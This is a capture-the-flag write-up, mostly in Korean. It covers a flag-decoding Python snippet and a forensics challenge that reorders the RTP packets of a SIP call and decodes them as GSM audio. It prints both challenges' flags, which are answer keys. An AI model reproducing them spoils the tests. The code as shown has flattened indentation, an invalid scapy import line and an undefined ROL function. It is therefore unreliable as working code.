p = [(7, 0x23C34040),(3, 0x14380438),(5, 0x6098398),(7, 0xE0E2C3),(9, 0x30585858),(29, 0x81960C),(27, 0xE8AB41C)] c = list(b'elcvxntymrzoahwujigpqfdsbk\x00\x00') flag = "" for s, v in p: v = ROL(v, 28 + s) for t in range(4): s = 8 * (3 - t) flag += chr(((v >> s) & 0xFF) ^ c[0]) c = c[1:] flag = flag[:-2] c = "elcvxntymrzoahwujigpqfdsbk" res = [0 for i in range(26)] for i in range(26): res[i] = flag[c.find(chr(i + 97))] print("".join(res))

Flag: flag{globalvar_via_vmware}

Weird SIP

작은 pcap이다. Wireshark가 알려주는대로 말하면, SIP protocol로 세션을 만들어서 연결을 하고 RTP로 데이터 전송을 하는데 G711형식이라고 한다.

하지만 문제가 있는데 SIP에서 handshake를 할때는 G711말고 GSM이나 telephone-event로 통신을 하겠다 라고 했는데 정작 오는 데이터는 G711이라고 말하고 있다.

그리고 RTP 패킷 순서가 엉망진창이다. 이는 sequence number나 rtp의 시간순으로 정렬하면 된다.

순서를 맞춘다음, 여기서 두가지를 할 수 있는데

  1. handshake를 무시한다. 데이터 type은 G711U이다
  2. 오는 데이터에 써여있는 type을 무시한다. 데이터 type은 GSM이다.

먼저 1번을 해보았는데 잡음만 들렸다. 그래서 2번을 시도했더니 여성 목소리가 문장을 읽는게 들렸다.

import scapy.all import * cap = rdpcap('weirdsip.pcap') arr = [21, 16, 12, 18, 17, 6, 8, 19, 15, 9, 14, 2, 1, 20, 5, 4, 10, 13, 7, 23, 3, 24, 11, 22] ppp = [b"" for i in range(len(arr))] i = 0 for p in cap: i += 1 if i < 7 or i > 30: continue d = p["Raw"].load.split(b"ABCD")[1] ppp[arr[0] - 1] = d arr = arr[1:] f = open("out.gsm", "wb") f.write(b"".join(ppp)) f.close()

Flag : hsctf{sipprotocolisatextbasedprotocollikehttp}